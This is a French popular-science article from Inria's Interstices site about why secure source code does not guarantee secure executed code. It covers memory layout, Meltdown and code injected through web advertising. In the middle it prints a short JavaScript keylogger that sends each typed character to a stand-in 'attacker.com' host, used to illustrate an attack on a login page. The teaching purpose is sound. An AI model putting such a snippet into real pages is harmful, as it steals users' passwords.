Les Newsletters Interstices
© Inria / Photo C. Morel
    Niveau facile
    Niveau 1 : Facile

    Mon programme est-il bien protégé contre les cyberattaques ?

    Sécurité & Vie privée
    Culture & Société Langages, programmation & logiciel
    Écrire du code sûr et s’assurer que celui-ci satisfait des propriétés de sécurité est nécessaire pour contrer d’éventuelles cyberattaques. Mais ce n’est pas suffisant. Encore faut-il que le programme qui sera exécuté par l’ordinateur soit sûr. Vous avez bien lu : écrire un programme sûr et s’assurer qu’il s’exécute de manière sûre sont deux choses bien distinctes.

    En effet, le code source dans lequel le développeur écrit son programme et le code qui s’exécute peuvent être très différents.

    du programme source au programme compilé

    © Tamara Rezk et dreamstime.com

    Dans cette figure, le code source écrit par le développeur se trouve en haut. En dessous, le code exécuté par l’ordinateur. Ce dernier est bien différent du code source : dans l’exemple, c’est un code binaire, une séquence de 0 et de 1, générée par un compilateur.

    Nos smartphones, tablettes ou ordinateurs sont de gigantesques circuits électroniques, il faut expliciter chaque opération qu’ils exécutent. Les instructions qui pilotent ces circuits sont exprimées en « langage machine », trop complexe pour être manipulé directement par un opérateur humain. On implémente donc les algorithmes dans un langage plus facile à comprendre et à manipuler et qui peut être traduit automatiquement en langage machine. Le compilateur est l’outil logiciel qui effectue cette traduction, comme le raconte l’histoire de Grace Hopper ou presque. On parle d’interpréteur si cette traduction est faite pas à pas.

    Un compilateur est donc un traducteur. Comment être sûr que la traduction est correcte ? Des erreurs de traduction peuvent avoir des conséquences très importantes, par exemple lorsque deux présidents se parlent. Même si un président pèse bien son discours, comment être sûr que le traducteur le retranscrit exactement ? On parle alors de compilateurs corrects ou compilateurs sans bug (voir aussi Comment faire confiance à un compilateur ? de Xavier Leroy).

    A priori, on pourrait penser que lorsqu’un compilateur traduit correctement un programme, les propriétés de sécurité satisfaites par le code source le sont aussi par le code compilé. Malheureusement, ce n’est pas toujours le cas.

    Un compilateur correct ne suffit pas

    En guise d’exemple, prenez un programme avec deux variables : la variable  x, qui contient des données publiques, et la variable ncarte, qui contient des données confidentielles, par exemple votre numéro de carte bancaire. Lorsque le compilateur est correct, la séquence de 0 et de 1 correspond exactement aux valeurs de la variable x et de la variable ncarte dans le code source.

    problème de confidentialité du code compilé

    © Tamara Rezk

    Cependant, même dans le cas d’un compilateur correct, notre code n’est pas protégé. Le fait que les variables x et ncarte soient l’une à côté de l’autre en mémoire dans le code binaire est une faille de sécurité. Le code de l’attaquant peut se trouver dans cet environnement. Ce code peut récupérer un pointeur vers la variable x car celle-ci est dans la zone publique de la mémoire. Grâce à la contiguïté des variables x et ncarte dans la mémoire, il va pouvoir récupérer la valeur de la variable confidentielle, en regardant juste un cran plus loin dans la mémoire.

    code public et code confidentiel contigus

    © Tamara Rezk et wpclipart.com

    Par contre, si le compilateur avait placé la variable ncarte dans une partie protégée de la mémoire, l’attaquant n’aurait pas pu obtenir sa valeur. Sauf si…

    Sur l’importance de la mémoire protégée et l’attaque Meltdown

    Vous voyez dans ce simple exemple que la valeur de ncarte est accessible par l’attaquant parce que sa valeur en mémoire n’est pas protégée par compilation. Un problème de sécurité tout à fait similaire, mais dans un contexte plus général et avec des causes différentes, est l’attaque Meltdown (voir article du blog Binaire). En effet, en général, un programme ne s’exécute pas tout seul : il partage son environnement d’exécution avec d’autres programmes de manière orchestrée par le système d’exploitation qui lui aussi s’exécute sur la machine. La mémoire utilisée par notre programme est donc partagée avec son environnement. Quand plusieurs programmes s’exécutent en même temps dans un environnement, la mémoire protégée est une brique fondamentale pour la sécurité. Malheureusement, cette brique fondamentale est vulnérable. Dans l’attaque Meltdown, comme dans notre petit exemple, l’attaquant peut accéder à toute la mémoire, y compris la mémoire qui devrait être protégée. À la différence de notre exemple, la cause de cette vulnérabilité n’est pas due aux bugs des programmes, ni des compilateurs, ni du système d’exploitation. La cause principale est dans le matériel (hardware), et en particulier dans les processeurs Intel — et potentiellement d’autres.

    Comment garantir la sécurité ?

    Cet exemple illustre que la sécurité de votre programme ne dépend pas seulement du code écrit par le développeur. Mais, comme disait Saint-Exupéry, l’essentiel est invisible pour les yeux. L’essentiel pour la sécurité est que le code qui va s’exécuter soit sûr. Ce code et sa sécurité dépendent du compilateur et de l’environnement d’exécution, comme le matériel.

    L’idéal serait de disposer d’un compilateur qui traduise correctement le code source en code binaire tout en préservant les propriétés de sécurité, et de disposer d’un environnement sûr, d’une mémoire vraiment protégée par le matériel et le système d’exploitation.

    Propriétés de sécurité

    Parmi les propriétés de sécurité, deux classes sont particulièrement utiles : la confidentialité et l’intégrité. La propriété de confidentialité assure que des données confidentielles, par exemple votre code secret, ne pourront pas être lues par l’attaquant. La propriété d’intégrité assure que des données sensibles, par exemple le montant du virement bancaire que vous allez effectuer, ne pourront pas être modifiées par l’attaquant.

    Prenons comme exemple un programme, qui ne possède pas ces propriétés de sécurité, dans le domaine du web. Disons que ce programme télécharge une image lorsque l’on clique sur une touche du clavier. Le code pourrait se présenter sous cette forme :

    onkeypress = function(e) {
    new Image().src = url;
    }

    Si l’attaquant s’introduit dans l’environnement d’exécution, il pourra alors changer le code de la manière suivante :

    url = 'http://attacker.com/?=';
    onkeypress = function(e) {
    var leak = e.charCode;
    new Image().src = url + leak;
    }

    Ce code source envoie la valeur de chaque caractère tapé avec le clavier vers un serveur « http://attacker.com ». Pourquoi ce code constitue-t-il une attaque ? Imaginons que cette page soit la page d’accueil du site PayPal, outil de virement en ligne. À chaque fois que vous tapez un caractère de votre mot de passe, celui-ci sera envoyé à l’attaquant. Tout cela sans même que vous vous en rendiez compte, puisque la page web fonctionne comme d’habitude. L’attaquant récupère donc votre mot de passe et pourra réaliser sans peine des virements à partir de votre compte vers le compte de son choix.

    attaque des mots de passe de PayPal

    © Tamara Rezk, paypal.com et wpclipart.com

    Pour ceux qui utilisent le site de PayPal, ne vous inquiétez pas : l’attaque décrite ici n’existe pas sur le site actuel de PayPal (mais il y a eu d’autres attaques sur ce même site, voir Attaque PayPal). Par contre, l’attaque décrite ici est tout de même envisageable sur d’autres sites. Si vous pensez : « mais non, il est impossible que le code de l’attaquant se retrouve dans l’environnement d’une page web !», alors visitez votre page web préférée et regardez attentivement : voyez-vous de la publicité ? La publicité est un excellent moyen, mais pas le seul, pour l’attaquant d’injecter son code. Le code servant à présenter une publicité provient de serveurs tiers, différents de celui qui sert la page que vous visitez. La publicité est à la base du modèle économique du web, et de ce fait, elle est omniprésente sur la plupart des sites web.

    Mais quel est le lien avec les compilateurs sûrs mentionnés plus haut ? Comme dans le cas des compilateurs, le code source envoyé par le serveur web est différent du code exécuté dans le navigateur. Cette transformation ne constitue pas nécessairement une compilation. Le code qui s’exécute dans le navigateur peut être différent du code source parce qu’il est enrichi avec du code provenant de serveurs tiers, comme les bandeaux de publicité par exemple. Les transformations du code qui préservent les propriétés de sécurité et le développement de langages de programmation avec des compilateurs sûrs constituent aujourd’hui des domaines actifs de recherche.

    En conclusion, rappelons simplement que pour être sûr, votre programme doit non seulement satisfaire des propriétés de sécurité, mais que ces propriétés doivent être conservées tout au long des transformations qu’il subit jusqu’à son exécution.

    Les transformations du code qui préservent les propriétés de sécurité et le développement de langages de programmation avec des compilateurs sûrs constituent aujourd’hui des domaines actifs de recherche. Par exemple, le projet ERC SECOMP a comme objectif d’utiliser des capacités du matériel pour définir des compilateurs sûrs pour des langages comme le langage C. Pour avoir la sécurité sans sacrifier l’efficacité, ce projet propose la compilation sûre vers une architecture qui associe une étiquette à chaque partie de la mémoire. Ces étiquettes, qui indiqueront une politique de sécurité, seront ensuite inspectées et vérifiées.

    Un autre projet, le projet ANR CISC a comme objectif de définir des langages de programmation et des compilateurs sûrs pour l’Internet des objets (IoT). Pour avoir la sécurité dans un environnement complètement hétérogène, ce projet propose l’utilisation des langages multitiers, c’est-à-dire des langages qui permettent de programmer tous les composantes de l’IoT – serveur, clients, objets physiques, avec un seul code. Ce langage sera ensuite compilé de manière sûre vers les différentes architectures.

    D’autres travaux, menés à KU Leuven, étudient la compilation sûre vers des architectures conçues spécifiquement pour la sécurité, comme par exemple l’architecture Intel SGX.

    Une première version de cet article est parue sur le blog Binaire en février 2018.

    Newsletter

    Recevez chaque mois une sélection d'articles

    Niveau de lecture

    Aidez-nous à évaluer le niveau de lecture de ce document.

    Si vous souhaitez expliquer votre choix, vous pouvez ajouter un commentaire (Il ne sera pas publié).

    Votre choix a été pris en compte. Merci d'avoir estimé le niveau de ce document !

    Tamara Rezk

    Chercheuse Inria au sein de l'équipe de recherche INDES du centre Inria Sophia Antipolis - Méditerranée.
    Voir le profil

    Ces articles peuvent vous intéresser

    ArticleLangages, programmation & logiciel

    Comment faire confiance à un compilateur ?

    Xavier Leroy

    Niveau intermédiaire
    Niveau 2 : Intermédiaire
    PodcastLangages, programmation & logiciel
    Sécurité & Vie privée

    À propos des compilateurs

    Sandrine Blazy
    Joanna Jongwane

    Niveau facile
    Niveau 1 : Facile